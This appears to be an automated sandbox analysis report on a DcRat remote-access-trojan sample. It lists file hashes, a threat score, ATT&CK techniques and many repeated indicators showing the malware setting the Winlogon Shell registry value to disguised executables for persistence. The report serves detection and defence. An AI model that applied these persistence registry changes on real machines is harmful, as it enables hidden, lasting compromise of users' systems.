dcrat | b82f23ee8617e7ad47d7513fe175e7211564eed5442002927a415d7a035da5cf

Resubmissions

26-12-2022 00:04

221226-acrmcafe2y 10

26-12-2022 00:03

26-12-2022 00:03

26-12-2022 00:03

26-12-2022 00:02

26-12-2022 00:01

Analysis

max time kernel
46s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2022 00:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tmp.exe
Size

15.7MB
MD5

b27e540aef37c99f3cfd2766c2e61784
SHA1

c516b74daec17d1bc788c54433cf10899ee07e92
SHA256

28ebd60f492ca0957ac7ab3fdbcd8262966dee60dbec71d6bcac8d7efaf65479
SHA512

641d5daaef91d535f279ce7fea1f7c8b50ba87040480602e51951dfc2f3345699d3161d38b1b2ab7b3d4fbbcc56e0d597f125ed65ea3971df4888cb4a63897cd
SSDEEP

393216:XhBqJ0CE8/eXkkM7cGGBNpuXU8ysXVqNIyc2KBcr27eEHTPX:RBe0CiMihuXU8yYqNIygdrX

Score

10^/10

dcrat discovery exploit infostealer persistence rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies WinLogon for persistence 2 TTPs 30 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

ComdriverSvc.exeComdriverSvc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\", \"C:\\odt\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\", \"C:\\odt\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\fontdrvhost.exe\", \"C:\\odt\\sihost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\smss.exe\", \"C:\\Program Files\\Microsoft Office 15\\ClientX64\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\", \"C:\\odt\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\fontdrvhost.exe\", \"C:\\odt\\sihost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\", \"C:\\odt\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\""	ComdriverSvc.exe
